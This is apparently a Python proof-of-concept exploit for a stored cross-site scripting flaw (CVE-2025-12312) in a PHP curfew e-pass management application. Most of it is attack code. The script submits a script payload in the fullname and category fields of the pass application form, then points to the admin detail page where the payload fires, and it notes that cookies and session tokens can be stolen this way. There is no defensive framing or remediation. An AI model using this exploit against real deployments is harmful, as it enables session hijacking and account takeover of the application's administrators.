CVE-2025-12312 PHPGurukul Curfew e-Pass Management System 1.0 跨站脚本漏洞

import requests import sys # CVE-2025-12312 PoC - Stored XSS in PHPGurukul Curfew e-Pass Management System 1.0 # Target: view-pass-detail.php # Vulnerable Parameter: Fullname / Category TARGET_URL = "http://target.com/curfew-pass-management-system/" # XSS Payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_xss(): """ Exploit Stored XSS vulnerability in Curfew e-Pass Management System Attack Vector: Inject XSS payload in Fullname or Category parameter """ print(f"[*] Targeting: {TARGET_URL}") print(f"[*] XSS Payload: {xss_payload}") # Step 1: Submit malicious data through pass application form # The vulnerable endpoint typically processes pass applications submit_url = f"{TARGET_URL}apply-pass.php" data = { 'fullname': xss_payload, # XSS injection point 1 'category': xss_payload, # XSS injection point 2 # Other required form fields 'aadhar': '123456789012', 'email': '[email protected]', 'phone': '1234567890', 'address': 'Test Address', 'reason': 'Emergency travel' } try: print("[*] Step 1: Submitting malicious pass application...") response = requests.post(submit_url, data=data, timeout=10) print(f"[+] Application submitted with status: {response.status_code}") # Step 2: Trigger XSS when admin views pass details # The vulnerable page is view-pass-detail.php view_url = f"{TARGET_URL}admin/view-pass-detail.php?id=1" print(f"[*] Step 2: Accessing vulnerable page: {view_url}") print("[+] XSS will be triggered when viewing pass details") print("[+] Attacker can steal cookies, session tokens, etc.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-12312 - PHPGurukul Curfew e-Pass XSS Exploit") print("=" * 60) exploit_xss()